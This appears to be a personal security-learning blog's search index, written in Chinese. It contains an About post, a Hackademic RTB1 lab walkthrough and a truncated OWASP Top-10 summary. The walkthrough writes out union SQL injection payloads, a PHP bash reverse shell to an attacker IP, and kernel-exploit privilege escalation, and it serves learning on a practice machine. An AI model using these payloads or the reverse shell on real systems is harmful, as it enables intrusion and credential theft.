-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
1577 lines (1363 loc) · 109 KB
/
Copy pathsearch.xml
File metadata and controls
1577 lines (1363 loc) · 109 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>About</title>
<url>/2023/10/14/Hello-My-Blog/</url>
<content><![CDATA[<h1 id><a href="#" class="headerlink" title></a></h1><ul>
<li>想要创建博客记录一下我的学习过程 & 一些生活和学习工作的想法 ~(srds有点建晚了,大一就该准备好的呜呜呜Q﹏Q(不过还不算太迟</li>
<li>超严重的强迫症,这些事情写到纸上如果格式之类出问题 or 字写得丑了点,立马就会忍不住撕掉重写(所以Blog+markdown对我来说是好选择)之前为了治这个毛病,特意买了Daycrafts的日程本试图用昂贵的纸张唤醒我节约的意识,结果完美证明:我的强迫症 > 我对银子的心疼😥</li>
</ul>
<p> </p>
<h2 id="勇气"><a href="#勇气" class="headerlink" title="勇气"></a>勇气</h2><p>普通家庭出身的大部分人所习惯的模式是竞争与服从,缺乏那种真正能让人出彩于某个领域的信念与可使用的方法论,我叫它“意识”。</p>
<p>成绩、量化一个人的考核标准,在我更加年轻的时候给了我很多满足——因为我经常在这种“竞争”游戏中胜出。可惜意识不足的个体不会真正踏上“上行之路”,像地基没有扎稳的房子,不会挺立太久。之后很长一段时间我所面对的,是认知与期望产生巨大落差的挫败,以及明知自己难以迅速填补沟壑、想要得到一些事物就要付出超常的努力,却迟迟驻足原处、不知该走向何处的犹疑。</p>
<p>这种情况在我进入大学之后改善了非常之多,但“改善”还远远不够。这个博客存在的意义就在于,我会在这片“自留地”记录自己一些自己看重的东西。</p>
<p> </p>
<h2 id="YOUTH"><a href="#YOUTH" class="headerlink" title="YOUTH"></a>YOUTH</h2><p><strong>这是我非常喜欢的一首诗</strong></p>
<p><em>Samuel Ullman</em></p>
<p>Youth is not a time of life; </p>
<p>It is a state of mind; </p>
<p>It is not a matter of rosy cheeks, red lips and supple knees; </p>
<p>It is a matter of the will, a quality of the imagination, a vigour of the emotions; </p>
<p>It is the freshness of the deep springs of life.</p>
<p>Youth means a temperamental predominance of courage over timidity of the appetite, for adventure over the love of ease. This often exists in a man of sixty more than a boy of twenty. Nobody grows old merely by a number of years. We grow old by deserting our ideals.</p>
<p>Years may wrinkle the skin, but to give up enthusiasm wrinkles the soul. Worry, fear, self-distrust blows the heart and turns the spirit back to dust.</p>
<p>Whether sixty or sixteen, there is in every human being’s heart the lure of wonders, the unfailing childlike appetite of what’s next and the joy of the game of living. In the centre of your heart and my heart there is a wireless station: so long as it receives messages of beauty, hope, cheer, courage and power from men and from the infinite, so long are you young.</p>
<p>When the aerials are down, and your spirit is covered with snows of cynicism and the ice of pessimism, then you are grown old, even at twenty, but as long as your aerials are up, to catch waves of optimism, there is hope you may die young at eighty.</p>
]]></content>
<tags>
<tag>levelup</tag>
</tags>
</entry>
<entry>
<title>Hackdamic渗透</title>
<url>/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/</url>
<content><![CDATA[<p>扫描虚拟机</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87157.png" class title="This is an test image">
<p>编辑虚拟机设置</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87158.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87159.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87160.png" class title="This is an test image">
<p> </p>
<p><strong>信息收集</strong></p>
<p>Nmap扫描</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87161.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87162.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87163.png" class title="This is an test image">
<p> </p>
<p>可以看到开放的端口和对应的服务</p>
<table>
<thead>
<tr>
<th>Port</th>
<th>service</th>
</tr>
</thead>
<tbody><tr>
<td>22/tcp</td>
<td>ssh</td>
</tr>
<tr>
<td>80/tcp</td>
<td>web</td>
</tr>
</tbody></table>
<p> </p>
<p>Attempt to access port 80</p>
<p>scan information on web page</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87164.png" class title="This is an test image">
<p>Plug-in viewing framework</p>
<p><a href="http://192.168.182.131/Hackademic_RTB1/?p=%E2%80%99%E2%80%A6%E2%80%99">http://192.168.182.131/Hackademic_RTB1/?p=’…’</a></p>
<p><a href="http://192.168.31.162/Hackademic_RTB1/?cat=1">http://192.168.182.131/Hackademic_RTB1/?cat=1</a></p>
<p> </p>
<p><strong>反弹shell</strong></p>
<p>使用dirsearch scan</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87165.png" class title="This is an test image">
<p>没有结果,换一个路径</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87166.png" class title="This is an test image">
<p>找到后台</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87167.png" class title="This is an test image">
<p>有两种方法:1. sql注入</p>
<p> 2. 弱密码爆破</p>
<p>查看网页源代码看看有没有cms的信息</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87168.png" class title="This is an test image">
<p>我们直接看到这个cms是WordPress的1.5.1.1版本。然后可以searchsploit一下有啥漏洞:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87169.png" class title="This is an test image">
<p>重点观察版本匹配的开头两个,说存在<a href="https://so.csdn.net/so/search?q=SQL%E6%B3%A8%E5%85%A5&spm=1001.2101.3001.7020">SQL注入</a>,因此接下来的渗透重点关注SQL注入</p>
<p>尝试SQL注入吧,在参数最后加一个引号,把参数改为cat=1’</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87170.png" class title="This is an test image">
<p> 报错了,而且回显了数据库查询语句:SELECT * FROM wp_categories WHERE cat_ID = 1\' LIMIT 1</p>
<p>先尝试获取数据库到底有多少列,通过order by [num]的方法(按照第[num]列排序),只要页面没有出现报错,就说明数据库至少有[num]列。order by 5是的界面如下</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87171.png" class title="This is an test image">
<p> order by 6时出现了报错,说明数据库中一共有5列数据:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87172.png" class title="This is an test image">
<p>接下来用联合查询的方法进行注入,思考SQL查询语句,要保证后台执行我们的联合查询union select语句,只要将cat_ID的值设置为0,这样就无法查询到结果,相当于只执行了union select的语句。如果将url中的参数改为cat=0 union select 1,2,3,4,5那么SQL查询语句将会是:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SELECT * FROM wp_categories WHERE cat_ID = 0 union select 1,2,3,4,5 LIMIT 1</span><br></pre></td></tr></table></figure>
<p>LIMIT 1限制了只会显示一条结果,由于SELECT * FROM wp_categories WHERE cat_ID = 0无法查询到结果,因此相当于只执行了select 1,2,3,4,5 LIMIT 1,界面如下:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87173.png" class title="This is an test image">
<p> 此处非常关键,注意上图中引号内的内容变为了2,因此select 1,2,3,4,5这个语句中2的位置可以进行查询,并回显到前端,我们可以把2修改为version()以查询MySQL的版本,这样参数修改为cat = 0 union select 1,version(),3,4,5结果如下:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87174.png" class title="This is an test image">
<p>回显了版本</p>
<p>由于WordPress是非常著名的cms,他的配置是固定的,可以Google查到WordPress1.5.1.1对应的数据库结构</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87175.png" class title="This is an test image">
<p>找到了wordpress 1.5.1版本下存在的表的结构,有一个名为wp_users的表,下面有user_login,user_pass,user_level(用户名,密码,权限)等关心的列</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87176.png" class title="This is an test image">
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">select id,user_login,user_pass,user_level from wp-users</span><br></pre></td></tr></table></figure>
<p>比如可以查询user_login试试cat=0 union select 1,user_login,3,4,5 from wp_users</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87177.png" class title="This is an test image">
<p>成功查到了一天账号GeorgeMiller,但受限于LIMIT 1,我们只看到了这一个用户,此时可以用group_concat函数让一行内显示所有信息:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">cat=0 union select 1,group_concat(user_login),3,4,5 from wp_users</span><br></pre></td></tr></table></figure>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87178.png" class title="This is an test image">
<p>把id,user_login,user_pass ,user_level这几个都注入出来</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87179.png" class title="This is an test image">
<p>可以找到权限级别user_level最高的用户是GeorgeMiller,他的user_level是10,然后我们破解他的密码哈希7cbb3252ba6b7e9c422fac5334d22054</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87180.png" class title="This is an test image">
<p>很容易得到是md5,然后找个在线网站Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online破解即可:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87181.png" class title="This is an test image">
<p>密码是q1w2e3</p>
<p>下面通过用户名GeorgeMiller,密码q1w2e3登录WordPress后台</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87182.png" class title="This is an test image">
<p>设置允许php文件上传</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87183.png" class title="This is an test image">
<p>设置成功后,我们可以发现菜单中出现了Upload界面,我们可以上传一个反弹shell的php文件,即shell.php,代码如下,其中10.10.10.128是kali的ip,1234是一会接收shell的端口:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"><?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?> </span><br></pre></td></tr></table></figure>
<p>上传成功且路径是/wp-content/,下面只要开启nc监听,并访问/wp-content/shell.php即可接收到反弹shell</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87184.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87185.png" class title="This is an test image">
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87186.png" class title="This is an test image"> nc监听成功收到了反弹shell
<p> </p>
<p><strong>最后进行内核提权</strong></p>
<p>先用python增强shell的交互性:</p>
<p>python -c “import pty;pty.spawn(‘/bin/bash’)”</p>
<p>查看当前用户,是apache,然后查看内核版本,是2.6.31</p>
<p>用sudo -l查看当前用户权限:需要密码。此路不通</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87187.png" class title="This is an test image">
<p> 由于22端口的SSH服务没有开放,所以对于提权来说,寻找SSH登录密码是没有意义的,而我们看到的内核版本又比较老旧,因此可采用内核提权的方法。在searchsploit中搜索Linux kernel 2.6.3版本的提权漏洞</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' </span><br></pre></td></tr></table></figure>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87188.png" class title="This is an test image">
<p>尝试15258.c,发现可以提权,过程如下,先把漏洞利用文件下载下来</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87189.png" class title="This is an test image">
<p>然后把他传到靶机的/tmp目录下,先在kali中启动一个http服务:</p>
<p>php -S 0:80</p>
<p>然后在靶机/tmp目录下wget,把kali中的15285.c下载下来:</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87190.png" class title="This is an test image">
<p>在靶机中用gcc编译,就直接命名为15285得了</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87191.png" class title="This is an test image">
<p> 然后直接运行即可提权</p>
<p>进入/root目录,查看key.txt</p>
<img data-src="/2023/11/02/Hackdamic%E9%9D%B6%E6%9C%BA/%E5%9B%BE%E7%89%87192.png" class title="This is an test image">
<p>成功拿到flag</p>
]]></content>
<tags>
<tag>Web-渗透测试</tag>
</tags>
</entry>
<entry>
<title>OWASP Top-10</title>
<url>/2023/12/07/Top%E6%BC%8F%E6%B4%9E/</url>
<content><![CDATA[<h3 id="👉🏻TOP1:越权漏洞-Broken-Access-Control"><a href="#👉🏻TOP1:越权漏洞-Broken-Access-Control" class="headerlink" title="👉🏻TOP1:越权漏洞 Broken Access Control"></a>👉🏻TOP1:越权漏洞 Broken Access Control</h3><p><strong>简介</strong></p>
<p>主要分为水平越权和垂直越权。</p>
<ol>
<li><p><strong>水平越权</strong>:普通用户拥有其他平行级别用户的权限</p>
</li>
<li><p><strong>垂直越权</strong>:跨越自身所属用户组,获取更高级别用户的权限(比如管理员权限)</p>
<p></p>
</li>
</ol>
<p><strong>常见情况</strong></p>
<ol>
<li><p>通过修改url、内部应用程序状态或HTML页面绕过访问控制检查,或简单地使用自定义的API攻击工具</p>
<blockquote>
<p>网站以用户提交的id判断用户是否具有信息查询权限并返回用户提交id对应的用户信息</p>
<p>避免方式:根据用户本身的Session判断当前用户是否拥有读取个人信息权限</p>
<p>漏洞利用示例:攻击者A利用抓包工具将自动发送的查询请求中的userid修改为B用户的id,就可以查询到B用户的信息;未加密且用的是get请求时,通过修改url里的userid直接登入其他用户的账号</p>
</blockquote>
</li>
<li><p>特权提升,垂直越权</p>
<blockquote>
<p>用户具有阅读文章权限而不具有编辑文章权限,阅读文章的接口是read_article。权限保护方式基于接口名称的秘密</p>
<p>漏洞出现原因:可以猜测到修改文章的接口是edit_article</p>
<p>漏洞利用示例:攻击者A根据阅读文章的接口名称是read_article猜测修改文章的接口名称是edit_article,调用该接口,实现垂直越权</p>
</blockquote>
</li>
<li><p>修改Cookie中参数</p>
<blockquote>
<p>早期的网站设计会在Cookie中加入“admin = true”标识用户是否具有管理员权限</p>
<p>漏洞出现原因:Cookie不同于Session,Cookie中的参数存储在用户浏览器上,可以直观展现给用户;Session存储在服务器端,比Cookie安全</p>
<p>漏洞利用示例:攻击者A掌握网站的Cookie规律后</p>
<p> 方法①:通过JavaScript代码重置 document.cookie 内容越权</p>
<p> 方法②:抓包将“admin = false”修改为“admin = true”</p>
</blockquote>
</li>
<li><p>系统权限回收有问题</p>
<blockquote>
<p>漏洞出现原因:网站保留了注销用户信息而没有把它从用户表中删除,而仅仅对该用户是否有效这个字段进行了标记</p>
<p>漏洞利用示例:攻击者A注册时保留与注销用户B同样的用户id,覆盖了原用户的信息单保留了元用户的权限</p>
</blockquote>
<p></p>
</li>
</ol>
<p><strong>检测方法</strong></p>
<p>未授权访问与水平越权:cookie伪造;修改返回包中某个参数的值(比如false改为true);水平越权常见与业务系统中,对用户信息或者订单信息进行增删改查操作时,用户编号和订单编号常常有规律可循,测试人员通过burpsuit的intruder对目标参数进行遍历测试即可</p>
<p>垂直越权:将cookie中的false改为true;文件上传与下载漏洞可以通过./和../绕过,admin权限验证绕过也可以尝试这种方法</p>
<p> </p>
<p><strong>如何预防?</strong></p>
<p>将访问控制限制在仅在受信任的服务器端代码或者无服务器API中,这样攻击者就无法修改访问控制检查或元数据</p>
<ol>
<li><p>合理划分网站权限,设置功能验证,验证失败禁止访问</p>
</li>
<li><p>最小权限原则。除公有资源外,其他资源默认情况下拒绝访问,限制用户不必要的权限,用户权限过期后收回</p>
</li>
<li><p>进行严格的权限判断,用户只能操作属于自己的内容。此处权限判断需要识别用户身份,识别用户身份基于Session而非Cookie验证(即在服务器端进行验证)</p>
</li>
<li><p>记录失败的访问控制,适当时候对管理员进行告警(比如银行卡密码最多输入三次三次输错需要重新验证/找管理员更改密码,不能无限次试。避免了暴力破解)</p>
</li>
<li><p>对API和控制器的访问进行速率限制(避免高速爆破),最大限度降低自动化攻击工具的危害(也会有后续处置,比如后台发现某个ip多次异常尝试且多次失败,就把ip封了) </p>
<p></p>
</li>
</ol>
<p><strong>补充知识</strong></p>
<ul>
<li>网站会给用户分配不同的Session(会话标识符)维持用户对话</li>
</ul>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP2:加密机制失效-Cryptographic-Failures"><a href="#👉🏻TOP2:加密机制失效-Cryptographic-Failures" class="headerlink" title="👉🏻TOP2:加密机制失效 Cryptographic Failures"></a>👉🏻TOP2:加密机制失效 Cryptographic Failures</h3><p><strong>简介</strong></p>
<p>通常是缺乏加密措施或者加密失效导致敏感数据泄露</p>
<p> </p>
<p><strong>常见情况</strong></p>
<ol>
<li>以明文方式传输数据,未执行加密</li>
<li>使用旧or弱加密算法或协议</li>
<li>使用弱加密密钥、重复使用弱加密密钥、缺少适当的密钥管理和轮换、不小心将加密密钥提交到了源代码数据库中</li>
<li>接收到的服务器证书和信任链没有经过正确验证</li>
</ol>
<p> </p>
<p><strong>如何预防?</strong></p>
<ol>
<li>使用安全协议对所有数据进行传输加密</li>
<li>使用最新版且标准的强演算法、协定及密钥;使用适当的密钥管理</li>
<li>使用经过身份验证的加密而不仅仅是加密</li>
</ol>
<p> </p>
<p><strong>攻击范例</strong></p>
<ol>
<li><strong>情境1</strong>:某应用程序加密了存储在数据库中的信用卡号,但却在检索数据时自动解密,因此容易受到 SQL 注入攻击,导致信用卡号被泄露</li>
<li><strong>情境2</strong>:网站没有强制使用 TLS 或支持弱加密,导致攻击者能够通过网络监控、降级 HTTPS 连接为 HTTP,并截取会话 cookies,从而劫持用户的会话并访问或修改其隐私数据。攻击者还可以篡改传输的数据,例如修改汇款收款人信息</li>
<li><strong>情境3</strong>:密码库使用简单的散列函数存储密码,没有使用盐值或者使用了简单的盐值。由于上传文件的漏洞,攻击者可以访问密码库,未经盐值加密的哈希密码可以被预先计算的彩虹表破解。即使使用了盐值,如果哈希函数简单或快速,仍然容易受到 GPU 加速破解(PS:“盐”指随机生成的额外字符串)</li>
</ol>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP3:注入攻击-Injection"><a href="#👉🏻TOP3:注入攻击-Injection" class="headerlink" title="👉🏻TOP3:注入攻击 Injection"></a>👉🏻TOP3:注入攻击 Injection</h3><p>web对用户输入的内容的合法性判断不严或者过滤不严,攻击者在web应用程序中事先定义好的查询语句的结尾添加额外的执行语句,在管理员不知情的情况下进行非法操作,奇葩数据库执行非授权的任意查询,进一步得到数据信息。</p>
<p>其本质是对于输入的检查不充分,导致SQL语句将用户提交的非法数据当做语句的一部分来执行,简言而之就是用户提交的数据代入数据库的查询。</p>
<p> </p>
<p><strong>SQL注入</strong>:把SQL命令插入到Web表单递交或者输入域名或者页面请求的查询字符串,欺骗服务器执行恶意SQL命令</p>
<p> </p>
<p><strong>SQL注入分类</strong>:所有与用户进行交互的地方都可能存在注入</p>
<ol>
<li><p>基于数据类型:字符串类型注入;整型注入</p>
</li>
<li><p>基于程度和顺序的注入:一阶注入;二阶注入</p>
</li>
<li><p>基于从服务器收到的响应</p>
</li>
<li><p>基于错误的SQL查询</p>
</li>
<li><p>联合查询的类型</p>
</li>
<li><p>堆查询注射</p>
</li>
<li><p>SQL盲注:基于布尔;时间;报错</p>
<p></p>
</li>
</ol>
<p><strong>注入思路</strong>:</p>
<ol>
<li>判断是否存在注入,类型是字符型还是数字型</li>
<li>猜解SQL查询语句中的字段数</li>
<li>确定显示的字段顺序</li>
<li>获取当前数据库</li>
<li>获取数据库中的表</li>
</ol>
<p> </p>
<p><strong>盲注思路</strong></p>
<ol>
<li>判断是否存在注入,类型是字符型还是数字型</li>
<li>猜解SQL查询语句中的字段数</li>
<li>猜解数据库名</li>
<li>猜解数据库表名</li>
<li>猜解表中字段名</li>
<li>猜解数据</li>
</ol>
<p> </p>
<p><strong>防范方式</strong></p>
<ol>
<li>关闭SQL错误回显</li>
<li>使用成熟的WAF</li>
<li>前端输入字符白名单验证(长度、类型)</li>
<li>SQL服务运行专门的账号并且使用最小权限</li>
<li>对输入的特殊字符进行转义处理</li>
</ol>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP4:不安全设计"><a href="#👉🏻TOP4:不安全设计" class="headerlink" title="👉🏻TOP4:不安全设计"></a>👉🏻TOP4:不安全设计</h3><p><strong>产生原因</strong></p>
<p>开发软件时在关键的身份验证、访问控制、业务逻辑和关键流部位没有进行安全的设计</p>
<p> </p>
<p><strong>漏洞利用</strong></p>
<p>业务逻辑的体现</p>
<ol>
<li>支付逻辑</li>
<li>密码找回</li>
<li>验证码:暴力破解;重复使用;客户端回显;绕过;自动识别</li>
</ol>
<p><strong>支付逻辑漏洞</strong></p>
<p>修改支付价格、状态;修改购买数量;修改优惠券和积分;修改支付接口;多重替换支付;重复支付;最小额和最大额支付;无限制试用</p>
<p> </p>
<p><strong>场景</strong></p>
<ol>
<li>使用burpsuit抓包并且修改原始数据(用户界面数据无法更改,前端有封装),将运费金额30修改为9.9</li>
<li>把state的值从2修改为1,这样随机输入的密码也会被识别为真,导致任意密码重置</li>
</ol>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP5:安全配置不当"><a href="#👉🏻TOP5:安全配置不当" class="headerlink" title="👉🏻TOP5:安全配置不当"></a>👉🏻TOP5:安全配置不当</h3><p>通常由于不安全的默认配置、不完整的临时配置、不必要的功能启用或者安装、开源云储存、错误的http标头配置、包含敏感信息的详细报错信息。因此不仅要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级</p>
<p> </p>
<p><strong>案例</strong></p>
<ol>
<li>Tomcat、Apache服务器后台弱口令和服务器的不当配置容易被利用</li>
<li>中国电信交换机弱口令</li>
<li>行业内设备(比如华为的SmartAXMT调制解调器初始ip和默认密码是xxxxx都是已知的网上能找到的)</li>
</ol>
<p> </p>
<p><strong>防范</strong></p>
<ol>
<li>按照加固手册加固</li>
<li>搭建最小化平台,这个平台不包含任何不必要的功能、组件、文档和示例,移除或者不安装不适用的功能和框架</li>
<li>临时文件及时删除</li>
</ol>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP6:组件问题(API-框架-库-)"><a href="#👉🏻TOP6:组件问题(API-框架-库-)" class="headerlink" title="👉🏻TOP6:组件问题(API 框架 库 )"></a>👉🏻TOP6:组件问题(API 框架 库 )</h3><p>组件(例如库、框架、其他软件模块)拥有和应用程序相同的权限。如果应用程序中有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或者服务器接管,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御,造成攻击产生影响</p>
<p> </p>
<p><strong>场景</strong></p>
<ol>
<li>某个组件出现新的漏洞,攻击者可能凭借这个情报利用这个组件漏洞攻击应用程序(信息不对称)</li>
</ol>
<p> </p>
<p><strong>防范</strong></p>
<ol>
<li>移除不使用的依赖、不需要的功能、组件、文件和文档</li>
<li>仅从官方渠道获取组件,并使用签名机制来降低组件被篡改或被加入恶意漏洞的风险</li>
<li>持续监控CVE、NVD等是否发布已使用组件的漏洞信息,可以使用软件分析工具来自动完成此功能,订阅组件漏洞最新信息的邮件以获取即时信息</li>
</ol>
<p> </p>
<p> </p>
<h3 id="👉🏻TOP7:认证及验证机制失效(密码交互存在问题)"><a href="#👉🏻TOP7:认证及验证机制失效(密码交互存在问题)" class="headerlink" title="👉🏻TOP7:认证及验证机制失效(密码交互存在问题)"></a>👉🏻TOP7:认证及验证机制失效(密码交互存在问题)</h3><p>错误使用应用程序的身份认证和会话功能管理,使攻击者能够破译密码、密钥或者会话令牌,或者利用其他开发缺陷冒充其他用户身份。web程序开发者过于专注程序功能开发,可能会建立自定义的认证和会话方案,这可能会存在漏洞。可能会在推出、密码管理、超时、密码找回、账户更新等方面存在漏洞。</p>
<p>也就是说在密码等重要数据进行交互的过程中程序存在问题,并且被利用</p>
<p> </p>
<p><strong>情景</strong></p>
<ol>
<li>应用程序没有实施自动化威胁保护或撞库攻击保护的情况下,使用已知列表密码撞库(比如旧密码泄露)</li>
<li>使用明文、加密或者弱散列密码或者用户重复使用同一种密码,容易被暴力破解(不是特殊加密方法的话密码破解可能会很快)</li>
<li>缺少或失效的多因素身份验证</li>
<li>暴露url中的会话id</li>
<li>会话ID使用时间过长</li>
</ol>
<p> </p>
<p><strong>防范</strong></p>
<ol>
<li><p>使用多因素身份验证</p>
</li>
<li><p>检查弱口令,模拟爆破操作</p>
</li>
